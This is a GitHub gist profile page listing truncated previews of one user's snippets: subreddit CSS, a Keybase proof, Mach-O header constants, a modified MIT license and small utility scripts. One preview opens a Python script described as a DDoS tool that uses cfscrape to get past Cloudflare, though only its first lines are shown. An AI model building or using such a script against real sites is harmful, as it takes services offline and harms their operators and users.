Skip to content

Instantly share code, notes, and snippets.

View cthpw103's full-sized avatar
👌
ok this is epic

cth103 cthpw103

👌
ok this is epic
View GitHub Profile
@cthpw103
cthpw103 / ooer.css
Created July 21, 2017 19:15
/r/Ooer CSS
/*------------------------------------------------
/r/Ooer CSS
Bringing beautiful to your browser
since the Industrial Revolution.
The collaborative effort of:
/u/Ooer, /u/thelethalkind, /u/Wisey,
/u/williammck, /u/Niyx, and /u/twilexis
"you have the best css"
#Bypass by cth103
#i'm sorry
#og code by tin-tnguyen
#DDoS without caring bout cloudfare
import cfscrape, sys, os
print "Attacking " + sys.argv[1] + " ... "
def attack():
scraper = cfscrape.create_scraper()
@cthpw103
cthpw103 / proof.md
Created October 7, 2017 10:03
My Keybase proof

Keybase proof

I hereby claim:

  • I am cthpw103 on github.
  • I am cth103 (https://keybase.io/cth103) on keybase.
  • I have a public key ASBMzfoNjg5EK4w0A2TIIkJjByqiCu1hLPfJmQIkagp4-go

To claim this, I am signing this object:

@cthpw103
cthpw103 / mach-o.h
Created October 12, 2017 20:31
mach-o in c++
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define MH_MAGIC 0xfeedface
#define MH_CIGAM 0xcefaedfe
#define MH_MAGIC_64 0xfeedfacf
#define MH_CIGAM_64 0xcffaedfe
#define LC_SEGMENT_64 0x19
#define LC_ROUTINES_64 0x1a
#define CPU_TYPE_ARM64 (12 | 0x01000000)
@cthpw103
cthpw103 / gist:0aed6cac80604ad9aaeea17f3ec2941c
Created October 28, 2017 12:01
MIT but you don't have the right to use it if you work for ratelimited license
MIT but you don't have the right to use it if you work for ratelimited license
Version 2 - Cth103
Copyright <YEAR> <COPYRIGHT HOLDER>
Permission is hereby granted, free of charge, to any person (except anyone related to Ratelimited.me) obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
Do not use this Software if you work for Γιώργος Τσάτσης (Giórgos Tsátsis or George Tsatsis)'s Ratelimited.me Image Hosting Service (OwO Clone)
@cthpw103
cthpw103 / interpreter.c
Last active November 1, 2017 17:42
BrainPowerLang Specifications (and interpreter)
//no
@cthpw103
cthpw103 / teetoriel.md
Last active November 27, 2017 23:10
how 2 compile program for reich presenc

*nix operating systems

git clone https://github.com/discordapp/discord-rpc.git
cd discord-rpc
*program making with nano, vim, ed, cat or whatever*
gcc -c -I/include -L/lib -o output rich_presence.c

me in crossofts window

install random fucking shit

@cthpw103
cthpw103 / pxls.py
Created August 5, 2019 23:06
pxls to image
import urllib.request
from PIL import Image
import json
import time
def hex2rgb(hexcode):
return tuple(int(hexcode[i:i+2], 16) for i in (0, 2 ,4))
def screenshot(server="https://pxls.space", outputpath="./screenshot.png"):
reqopen = urllib.request.urlopen(server+"/info")